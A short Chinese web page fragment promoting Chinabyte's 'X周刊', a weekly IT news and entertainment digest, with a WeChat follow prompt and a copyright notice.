X周刊是一份IT人的技术娱乐周刊,给用户实时传递I最新T资讯、IT段子、技术技巧、畅销书籍,同时用户还能参与我们推荐的互动游戏,给广大的IT技术人士忙碌工作之余带来轻松休闲一刻。
微信扫一扫
关注Chinabyte}

我要回帖

更多关于 java调用大华sdk 的文章

更多推荐

版权声明:文章内容来源于网络,版权归原作者所有,如有侵权请点击这里与我们联系,我们将及时删除。

点击添加站长微信